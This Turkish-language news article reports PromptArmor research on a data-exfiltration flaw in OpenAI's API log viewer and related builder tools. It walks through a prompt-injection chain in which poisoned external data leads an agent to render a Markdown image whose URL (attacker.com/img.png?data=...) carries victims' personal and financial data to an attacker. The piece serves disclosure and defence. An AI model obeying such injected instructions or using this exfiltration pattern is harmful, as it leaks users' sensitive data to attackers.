PromptArmor tarafından yapılan bir araştırmaya göre, OpenAI'ın API log görüntüleyicisinde kritik bir veri sızdırma açığı tespit edildi. Bu güvenlik zafiyeti, güvensiz Markdown görüntü oluşturma mekanizması üzerinden çalışıyor ve geliştiricilerin tüm savunma önlemlerini almasına rağmen, OpenAI API'lerini kullanan tüm uygulama ve ajanları riske atıyor. Özellikle 'responses' ve 'conversations' API'leri ile oluşturulan AI uygulamaları ve ajanları bu durumdan etkileniyor. PromptArmor, açığı OpenAI'a sorumlu bir şekilde bildirmesine rağmen, dört takip sonrası rapor 'Uygulanamaz' (Not applicable) statüsüyle kapatıldı. Bu durum, OpenAI müşterileri ve platform üzerinde geliştirilen uygulamaların kullanıcıları için önemli bir risk oluşturuyor.
Saldırı zinciri, OpenAI Platformu kullanılarak oluşturulan bir uygulama veya ajanla başlıyor. Örneğin, hassas müşteri verilerini (PII ve finansal bilgiler) işleyen bir KYC (Müşterini Tanı) aracı düşünün. Bu araç, güvenilir olmayan dış veri kaynaklarını da kullanabilir. Saldırgan, bu güvenilir olmayan veri kaynaklarına bir 'prompt injection' ekleyerek, yapay zeka modelini kötü amaçlı bir Markdown görüntüsü oluşturmaya manipüle ediyor. Bu görüntünün URL'si dinamik olarak oluşturuluyor ve kurbanın hassas verilerini saldırganın alan adına (örneğin, attacker.com/img.png?data={kurban_verisi}) ekleyerek sızdırıyor. Bu sızdırma işlemi, OpenAI'ın API loglarında gerçekleştiği için tespiti zorlaşıyor.
Bu güvenlik açığı sadece ana API'leri değil, aynı zamanda Agent Builder, Assistant Builder, Chat Builder önizleme ortamları, ChatKit Playground ve geliştiricilere sunulan Starter ChatKit uygulaması gibi beş farklı OpenAI yüzeyini daha etkiliyor. PromptArmor, bu araştırmayı kamuoyuyla paylaşarak OpenAI kullanıcılarını ve müşterilerini olası risklere karşı önlem almaya teşvik etmeyi amaçlıyor. Geliştiricilerin ve kullanıcıların bu durumun farkında olması ve ek güvenlik tedbirleri alması büyük önem taşıyor.
OpenAI'ın API loglarındaki bu yamasız veri sızdırma açığı, platformu kullanan tüm uygulamaların hassas veri güvenliğini tehlikeye atıyor ve kullanıcıların acil önlem almasını gerektiriyor.